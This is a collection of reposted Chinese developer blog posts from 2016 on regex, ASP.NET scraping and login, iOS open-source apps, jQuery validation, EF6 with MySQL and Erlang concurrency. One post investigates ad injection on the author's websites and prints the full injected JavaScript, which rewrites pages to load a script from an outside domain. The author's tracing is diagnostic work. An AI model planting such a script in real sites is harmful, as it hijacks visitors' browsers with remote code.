一切福田,不離方寸,從心而覓,感無不通。

正则表达式的贪婪匹配(.*)和非贪婪匹配(.*?)

.*? 正则引擎默认是贪婪的,当出现"*"时,它会尽量去匹配尽可能长的字符串 一个用于修正以上问题的可能方案是用"*"的惰性代替贪婪性。你可以在"*"后面紧跟一个问号"?"来达到这一点 这告诉正则引擎,尽可能少的重复上一个字符   from:http://www.cnblogs.com/dongzhiquan/archive/2010/01/16/1994661.html

龙生   17 Jul 2016
View Details

到底是谁在挂广告?

今天发现公司网站和客户的网站偶尔会出现白页,单击右键却看到一段代码: <html><head></head><body><script>!function(){function a(){var a=new Date;a.setTime(a.getTime()+6e4),document.cookie="sessioned=1;expires="+a.toUTCString()}function b(b){a(),setTimeout(function(){location.href=location.href},b)}var d,e,f,c=1e4;try{if(!/sessioned=1/.test(document.cookie)){a(),e=document.createElement("script"),f=!1,e.src="//matchdp.sankuai.cn.shuyang5.com/fw0709/gg.js?1",d=new XMLHttpRequest,d.open("GET",window.location,!0),d.setRequestHeader("X-Requested-With","XMLHttpRequest");try{d.timeout=c}catch(g){}d.send(),d.onreadystatechange=function(){try{if(4==d.readyState){if(200!=d.status||"text/html"!=d.getResponseHeader("Content-Type"))throw"";text=d.responseText.replace(/<\/body>/i,e.outerHTML+"</body>"),document.open("text/html","replace"),document.write(text),setTimeout(function(){document.close()},1e3),f=!0}}catch(a){b(100)}}}}catch(g){b(150)}finally{setTimeout(function(){f||b(1)},c+1e3)}}();</script></body></html> 目测广告的机率比较大,决定找一下源头: 1.shuyang5.com的所有者是:jinmi.com 2.jinmi.com的所有者安徽合肥的个人 3.通过时一步分析发现了另一个页面:http://matchdp.sankuai.cn.shuyang5.com/tj/mltj2.html;并且上面有站长统计,点击后显示此站点叫“简单点”,估计站长站是知道这是谁的站点的。 4.以上页面的服务器用的都是阿里云(139.129.99.6)的,我N个阿里云的服务器均出现这个现象。看来阿里云技术的嫌疑大些。 5.通过IP反查又找到了另外的站点:http://cpro.jian123.com/lm6.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="keywords" content="联盟"> <meta name="description" content="联盟"> </head> <body> <div id="main"> <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> <!— 300*250新 —> <ins class="adsbygoogle" style="display:inline-block;width:300px;height:250px" data-ad-client="ca-pub-7963971038590542" data-ad-slot="8049044918"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> </body> </html> 通过对其代码的分析,是挂广告赚钱无疑。 无耐水平有限,只找到这些线索。有兴趣的朋友,欢迎交流~

龙生   17 Jul 2016
View Details

【解决】asp.net请求header添加gzip后抓网页源码乱码问题

asp.net抓网页源代码的代码很普遍,大家都会用,不过今天我在使用asp.net抓网页源代码时,遇到了一个小小的困扰,那就是我在请求header里添加了GZip的内容编码后,一直返回乱码的问题。不过最终还是把这个小问题给解决了,现在记录一下。 asp.net使用gzip抓取网页 普遍情况下,asp.net抓取网页源码时并不使用gzip,而是直接抓。关键代码如下: string PageUrl = "http://www.webkaka.com/"; WebRequest request = WebRequest.Create(PageUrl); WebResponse response = request.GetResponse(); Stream resStream = response.GetResponseStream(); Encoding enc = Encoding.GetEncoding("GB2312"); StreamReader sr = new StreamReader(resStream, enc); string strHtml = sr.ReadToEnd(); resStream.Close(); sr.Close(); 在请求header里添加了GZip的内容编码: string PageUrl = "http://www.webkaka.com/"; WebRequest request = WebRequest.Create(PageUrl); request.Headers.Add("Accept-Encoding", "gzip,deflate"); WebResponse response = request.GetResponse(); Stream resStream = response.GetResponseStream(); Encoding enc = Encoding.GetEncoding("GB2312"); StreamReader sr = new StreamReader(resStream, enc); string strHtml = sr.ReadToEnd(); resStream.Close(); sr.Close(); 但是,这样的代码,获得的网页源代码是乱码的,确切来说,是经过了GZip压缩的字符串,因此必须要进一步处理,把这些乱码还原成可读的html代码。 最终实现代码如下: string PageUrl = "http://www.webkaka.com/"; WebRequest request = WebRequest.Create(PageUrl); request.Headers.Add("Accept-Encoding", "gzip,deflate"); request.AutomaticDecompression = DecompressionMethods.GZip; WebResponse response = […]

龙生   17 Jul 2016
View Details

c# 实现网页上用户自动登陆|asp.net 模拟网站登录

using System; using System.Collections.Generic; using System.Text; using System.Net; using System.IO; namespace Czt.Web { /// <summary> /// 实现网站登录类 /// </summary> public class Post { /// <summary> /// 网站Cookies /// </summary> private string _cookieHeader = string.Empty; public string CookieHeader { get { return _cookieHeader; } set { _cookieHeader = value; } } /// <summary> /// 网站编码 /// </summary> private string _code = string.Empty; public string Code { get { return _code; } set { _code = value; } } private string _pageContent = string.Empty; public string PageContent { get { […]

龙生   17 Jul 2016
View Details

Facebook 针对 iOS 推出 Swift 开发者工具包

Swift3中文网消息,Facebook为iOS开发者推出了Swift开发者工具包(SDK),开发者可以通过Github链接下载https://github.com/facebook/facebook-sdk-swift。目前这一SDK基于Swift2,不过Facebook称他们将很快推出Swift3的版本。 据悉,这一开发者工具包包括登陆和分享功能,同时也包含带有分析功能的社交图谱API。 Facebook在官方博客中宣称:“我们相信将Facebook社交能力拓展于iOS生态系统,对于我们来说非常之重要。” 显然,Facebook并不是第一个投资于Swift的大公司,IBM在Swift发布的第一天起就发布了相关的企业级的工具,如Swift沙盒功能。Facebook也在类似的事情,这一SDK的发布将在消费级领域推广Swift的使用。 来源:Swift3中文网 from:http://www.oschina.net/news/75243/facebook-ios-swift

龙生   16 Jul 2016
View Details

一个收集了 502 款开源 iOS 应用的开源项目

由dkhamsing发起的Open-Source iOS Apps收集了各种开源的iOS App,并进行了详细的分类,比如游戏、社交、健康、键盘、定位、多媒体、新闻、办公、安全以及小工具类等。截至目前,项目已收集了502款开源iOS应用,收获了7967+个Star,并吸引了109位Contributor的参与。 在此摘取部分与开发者密切相关的应用与其GitHub地址。欲阅览全部应用,可直接点击链接查阅「Open-Source iOS Apps」的README。 Developer AppLove:https://github.com/snowpunch/AppLove AppSlate:https://github.com/Taehan-Kim/AppSlate Bequest:https://github.com/splinesoft/Bequest Blink:https://github.com/blinksh/blink Charter:https://github.com/matthewpalmer/Charter wat:https://github.com/pj4533/wat GitHub CodeHub:https://github.com/thedillonb/CodeHub GitBucket:https://github.com/leichunfeng/MVVMReactiveCocoa Github-Swift:https://github.com/acmacalister/Github-Swift Monkey:https://github.com/coderyi/Monkey MrCode:https://github.com/haolloyin/MrCode OctoPodium:https://github.com/nunogoncalves/iOS-OctoPodium SwiftHub:https://github.com/sahandnayebaziz/StateView-Samples-SwiftHub Ionic Minds Mobile App:https://github.com/Minds/mobile Vegan Lists UK:https://github.com/dsgriffin/vegan-lists-uk Parse 2CITY:https://github.com/2city/2CITY-iOS Anypic in Objective-C:https://github.com/ParsePlatform/Anypic Anypic in Swift:https://github.com/kwkhaw/SwiftAnyPic AnyWall:https://github.com/ParsePlatform/AnyWall how-much:https://github.com/dkhamsing/how-much iBeaconTasks:https://github.com/TomekB/iBeaconTasks React Native 2048(App by Facebook):https://github.com/facebook/react-native/tree/master/Examples/2048 allyoop:https://github.com/wwayne/react-native-nba-app Around Me:https://github.com/bgryszko/react-native-example Assemblies:https://github.com/buildreactnative/assemblies ReactiveCocoa BrewMobile:https://github.com/brewfactory/BrewMobile C-41:https://github.com/ashfurrow/C-41 GroceryList:https://github.com/jspahrsummers/GroceryList HausClock:https://github.com/nottombrown/HausClock RxSwift Count It:https://github.com/PiXeL16/CountItApp GitHub API Client:https://github.com/tailec/boilerplate Kiosk:https://github.com/artsy/eidolon 出处:CSDN from:http://www.oschina.net/news/75258/502-opensource-ios

龙生   16 Jul 2016
View Details

jquery.validation.js 表单验证

官网地址:http://bassistance.de/jquery-plugins/jquery-plugin-validation jQuery plugin: Validation 使用说明  一导入js库 <script src="../js/jquery.js" type="text/javascript"></script> <script src="../js/jquery.validate.js" type="text/javascript"></script>   二、默认校验规则 (1)required:true                必输字段 (2)remote:"check.php"      使用ajax方法调用check.php验证输入值 (3)email:true                    必须输入正确格式的电子邮件 (4)url:true                        必须输入正确格式的网址 (5)date:true                      必须输入正确格式的日期 日期校验ie6出错,慎用 (6)dateISO:true                必须输入正确格式的日期(ISO),例如:2009-06-23,1998/01/22 只验证格式,不验证有效性 (7)number:true                 必须输入合法的数字(负数,小数) (8)digits:true                    必须输入整数 (9)creditcard:                   必须输入合法的信用卡号 (10)equalTo:"#field"          输入值必须和#field相同 (11)accept:                       输入拥有合法后缀名的字符串(上传文件的后缀) (12)maxlength:5               输入长度最多是5的字符串(汉字算一个字符) (13)minlength:10              输入长度最小是10的字符串(汉字算一个字符) (14)rangelength:[5,10]      输入长度必须介于 5 和 10 之间的字符串")(汉字算一个字符) (15)range:[5,10]               输入值必须介于 5 和 10 之间 (16)max:5                        输入值不能大于5 (17)min:10                       输入值不能小于10   三、默认的提示 messages: { required: "This field is required.", remote: "Please fix this field.", email: "Please enter a valid email address.", url: "Please enter a valid URL.", date: "Please enter a valid date.", dateISO: "Please enter a […]

龙生   15 Jul 2016
View Details

VS2015 +EF6 连接MYSQL数据库生成实体

使用EF设计器 此时此刻,发现二逼了,咋没有MySQL Database呢? 好吧,下面重点: 需要下载安装: 1:mysql-for-visualstudio-1.2.6.msi http://dev.mysql.com/downloads/file/?id=460645 2:mysql-connector-net-6.9.8.msi http://dev.mysql.com/downloads/connector/net/ 3:使用Nuget安装EF   我这边是已经安装完了(版本选择6.1以上的),所以显示“更新”和“卸载”,如果你安装了,继续看下面的   下图是随便找了一个没安装的,就会有“安装”按钮,   4:使用Nuget安装Mysql.Data.Entity 与安装EF相同 点击安装后,一会会出现如下图:     执行完上述步骤,看web.config文件,会自动增加如下代码 OK,现在我们所有的步骤就执行完了。最好重启下VS(不知道是不是必须,反正我重启了),之后重新编译。 再之后,就可以按开始的步骤生成MYSQL对应的实体了。 注:如果刚开始那两个MSI文件安装有问题,则生成实体的时候,到了这一步之后(如下图),会出现闪退问题,无法生成实体   (本人就遇到过这个问题) 到了这一步,已经没有任何悬念了。   来自为知笔记(Wiz) from:http://www.cnblogs.com/RushPasser/p/5438334.html

龙生   14 Jul 2016
View Details

房子也开源 ? 建造生态房屋

你听过开源软件,开源硬件,但是,是否听说过开源房屋?最近,在 Kickstarter 上,一对夫妻发起了“开放建筑学院”(Open Building Institute)项目,目的是开发一套开源的生态房屋工具箱,让每个人都能够建造低成本的生态房屋。 这两人是 Marcin Jakubowski 和 Catarina Mota。Jakubowski 运营着一个生态建房项目“开源生态学”(Open Source Ecology),而 Mota 是一位开源软件倡导者,同时也是一名智能材料专家。 2013 年,他们决定在密苏里的郊区建造自己的房屋。最初,他们计划建造一个 144 平方英尺(13.4平方米)的微型小屋,但是,在一年半后,他们的新家扩展到 2000 平方英尺(185.8平方米)。这套房子不仅功能齐全,而且还可以完全脱离电网。如今,他们想要把自己的经验变成人人可学的知识。 “我们是开源提倡者,因此,我们所做的一切事情都要分享,” Mota 对 Fastcodesign 网站说,“我们意识到,这个项目真的能够帮到那些志同道合的人。” 他们设想的工具箱是一个在线平台,提供了模块化家庭设计的资源库。用户可以下载库里的数据,将其导入开源的装修设计软件 Sweet Home 3D,同时,用户也可以把自己的设计贡献到资源库,只要这些设计符合“开源建筑学院”的标准即可。 该项目还提供了一套模块,向用户提供材料和建筑方面的指导,还包括一个建筑工人组成的网络。“这些设计决定了你的建造方式,但是,你拥有的选择是无限多的。” Jakubowski 说。 在设计开源后,他们希望建房成本能够大大降低,同时,他们也设想了一个训练建筑工人的作坊。如果让这些建筑工人帮忙,那么,用户需要多花 1 万美元。根据他们的估计,建造一套 700 平方英尺(65平方米)的住房,大约需要 5 天时间,材料成本是 2.5 万美元。这来自于他们自己建造绿色温室的经验,当时,他们得到了 30 多人的帮助。 Jakubowksi 和 Mota 说,DIY 生态房屋的最大障碍在于,人们不知道如何从哪里开始。“开放建筑学院”提供了一个全程的指导,并且给出了便宜的解决方案。“在解决问题方面,我们想要把开 源确立为一个可用的、而且被普遍应用的方法,” Mota 说,“而且,我们想要尽可能地降低它的使用门槛。” 图片来自 fastcodesign 稿源:爱范儿 from:http://www.oschina.net/news/75155/house-is-also-open-source

龙生   13 Jul 2016
View Details

全世界只有我们Erlang程序员是正确的

全世界只有我们是正确的,其他的全错了。我们(Erlang程序员)找到了症结并正确的解决了问题,所有的其他人(非Erlang人)都找错了方向,解决了错误的问题。 全世界其他人想解决的问题是如何让现存的程序能并行执行。2004年之前,摩尔定律一直有效。每年我们的程序执行都会变得更快,我们不需要成为一个优秀的程序员,我们不需要掌握更优化的算法就能让程序一年比一年更快。 芯片越来越大,时钟速度越来越快,程序运行速度越来越快,每年大概以15%幅度的性能提升。 到了2004年,这些现象终止了。芯片已经足够大,时钟的速率已经快到在一个时钟周期内时钟脉冲不能到达芯片的所有部分。电路设计开始改变。多核处理器出现。 从2004年开始,芯片的体积仍然在增大,但时钟的速率开始变小,每个芯片上的CPU数量开始增加。我们从每一个芯片只有一个超级处理器的时代进入到每个芯片有多个速度较慢、性能较弱的多核处理器时代。 由此开始,顺序执行的程序显得越来越慢,一年慢过一年,而并行执行的程序开始变得越来越快。 问题是,根本没有并行执行的程序,有也是极少。 而Erlang是一种具有并发特征的编程语言,所以Erlang程序本质上在具有并行能力的计算机上运行时要比其它程序都快的多。而唯一能阻挡它运行的更快的问题就是Erlang程序中可能存在一些必须顺序执行的瓶颈。 并行程序中有需要顺序执行的部分,这正应验了Amdahl定律。 假设你的程序中有10%是需要顺序执行的(其余部分可以并行),可以并行的部分的执行时间可以压缩近似0——只要有足够的可以并行的处理器。但顺序执行部分的时间无法缩减。 如果程序中含有10%的需要顺序执行的代码,你的程序执行速度最高能提高10倍。其中1/10的程序的速度永远无法提高,其它9/10的程序的执行时间可以缩减至接近0。 所以,对于Erlang程序员来说,提高他们的程序的运行速度的技巧就是找出代码中需要顺序执行的部分。 而对于任何对于其他编写顺序执行程序的程序员来说,提高他们程序速度的方法是找出他们程序中可以并行执行的部分。 让串行程序自动并行化的征途铺满荆棘,无法走通。(并不完全是这样,在某些特殊环境中是可以实现的,但绝非易事)。 现在的数据中心了都排满了酷炫的新型计算机,某些顶级的配置里拥有多达24核。但它们的性能呢?这些酷炫的新机器能快24倍吗? 对某些程序来说是的,但对大多数程序来说不是。对大多数程序来说24个CPU中只有一个被利用。CPU的低利用率成了一个严重的问题。这点正印证了Alexander Gounares Brilliant在Erlang factory谈到的问题。 Alexander的演讲让我们隐约看到了未来。他开创concurix让我们看到了未来的方向。他们正在开发工具能自动找出Erlang代码中需要顺序执行的瓶颈。 Concurix使用这些工具来发现Erlang虚拟机中的瓶颈,在他们的测试中显示了惊人的结果。他们找到了一个图片处理应用中的瓶颈,它是zlib库中的一个程序锁,是用C写成的。他们用Erlang重写了它,用Erlang替换了C代码。 这真是不可思议,C程序本应更快,事实也是,但它却有个同步锁。Erlang程序相比之下要慢,但没有状态锁,这赋予了它提升能力的机会。去掉了C代码后,用Erlang写成的图片处理应用比原始的C程序快了很多。 我很吃惊——惊奇于这样的好东西的出现。 当Alexander在Erlang factory的演讲视频出来之后,你们观看时准备好惊奇吧。这是未来,未来就在下周旧金山。 from:http://www.vaikan.com/erlang-solving-the-wrong-problem/

龙生   13 Jul 2016
View Details